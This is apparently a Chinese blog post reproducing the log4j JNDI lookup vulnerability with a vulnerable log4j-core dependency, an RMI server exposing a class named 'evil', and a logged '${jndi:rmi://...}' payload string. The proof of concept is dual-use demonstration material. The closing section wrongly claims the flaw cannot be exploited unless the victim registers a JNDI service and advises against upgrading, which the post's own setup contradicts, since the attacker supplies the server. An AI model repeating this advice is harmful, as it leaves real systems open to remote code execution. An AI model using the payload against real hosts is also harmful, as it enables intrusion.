• log4j日志漏洞问题


        去年,log4j被爆出了一个漏洞,说可以通过利用日志格式化中的远程注入控制主机。当时,这个漏洞被形容为史诗级漏洞,因为这个远程操作可以执行一些操作,如果这个操作有恶意,那么就可以干任何事情,其实有点唬人。

        log4j影响的版本是>2.0并且<2.14.1。

        下面简单复现一下这个漏洞:

         pom.xml

    1. <dependency>
    2. <groupId>org.apache.logging.log4jgroupId>
    3. <artifactId>log4j-coreartifactId>
    4. <version>2.14.0version>
    5. dependency>

        log4j2.xml

    1. "1.0" encoding="UTF-8"?>
    2. <Configuration xmlns="http://logging.apache.org/log4j/2.0/config">
    3. <Appenders>
    4. <Console name="Console" target="SYSTEM_OUT">
    5. <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n">PatternLayout>
    6. Console>
    7. Appenders>
    8. <Loggers>
    9. <Root level="info">
    10. <AppenderRef ref="Console">AppenderRef>
    11. Root>
    12. Loggers>
    13. Configuration>

      Hallo.java

    1. package log4j2;
    2. public class Hallo {
    3. static {
    4. System.out.println("莫名奇妙被执行。。。");
    5. }
    6. }

    Log4jServer.java

    1. package log4j2;
    2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
    3. import javax.naming.Reference;
    4. import java.rmi.registry.LocateRegistry;
    5. import java.rmi.registry.Registry;
    6. public class Log4jServer {
    7. public static void main(String[] args){
    8. try {
    9. Registry registry = LocateRegistry.createRegistry(1099);
    10. Reference reference = new Reference("log4j2.Hallo","log4j2.Hallo",null);
    11. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
    12. registry.bind("evil",referenceWrapper);
    13. }catch (Exception e){
    14. e.printStackTrace();
    15. }
    16. }
    17. }

        这个程序,开启一个rmi服务,绑定了Hallo类,对外暴露的远程服务是:jndi:rmi://localhost:1099/evil。当远程客户端调用这个服务,Hallo类就被初始化,并执行static代码块中的打印功能。

    Log4jTest.java

    1. package log4j2;
    2. import org.apache.logging.log4j.LogManager;
    3. import org.apache.logging.log4j.Logger;
    4. public class Log4jTest {
    5. private static final Logger LOGGER = LogManager.getLogger(Log4jTest.class);
    6. public static void main(String[] args) {
    7. //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
    8. String name = "${jndi:rmi://localhost:1099/evil}";
    9. String osinfo = "${java:os}";
    10. LOGGER.error("hello,{}",name);
    11. }
    12. }

       先启动远程服务类Log4jServer,然后运行Log4jTest,控制台打印如下:

     

        如果不开启Log4jServer,直接运行Log4jTest:

     

        从上面的打印结果来看,我们在客户端里面其实就是想输出日志,但是我们通过一些表达式,比如:LOGGER.error("hello,{}","${jndi:rmi://localhost:1099/evil}")来拼接日志信息,日志会进行格式化,在格式化的时候,会查找一些lookup,这里面有如下的lookup:

     

        正好就有jdni这个lookup,所以这里示例最后就根据表达式执行rmi操作。

        还可以试试upper格式化操作:

         经过上面演示的这个jndi日志格式化,我们似乎可以模拟出一个远程操作的漏洞,然后这个漏洞就被人形容很危险,其实如果你用了apache log4j的这些低版本,但是你没有注册jndi服务,黑客再怎么牛逼,也无法攻击你。

        做IT的,尤其是一线开发,对这个问题,我似乎觉着它不严重,根本不用担心,很多人觉着远程漏洞就可以入侵计算机,然后执行任意操作,其实都是夸张的说法,上面的过程,我们很清楚,最终我们只能调起evil这个服务,这个服务是我们自己编码的,完全可以自己控制,所以安全问题压根不存在。所以我也不推荐升级,完全没必要,知道怎么回事就行了。

  • 相关阅读:
    基于Spark的智能餐饮推荐系统报告(只含部分代码)
    Spring进阶(三):WEB
    时间复杂度吐血总结
    基于Python实现的黑白棋强化学习模型
    WebRTC系列-SDP之setLocalDescription(1)
    c++题目:输入3个数,求最大值
    Flink--2、Flink部署(Yarn集群搭建下的会话模式部署、单作业模式部署、应用模式部署)
    基于装饰器对通用表格的封装
    程序员的“剁手“清单:一生必遇的“必抓!”算法
    线性表之栈和队列(数据结构)(VS)(C语言)(stack and Queue)
  • 原文地址:https://blog.csdn.net/feinifi/article/details/127892222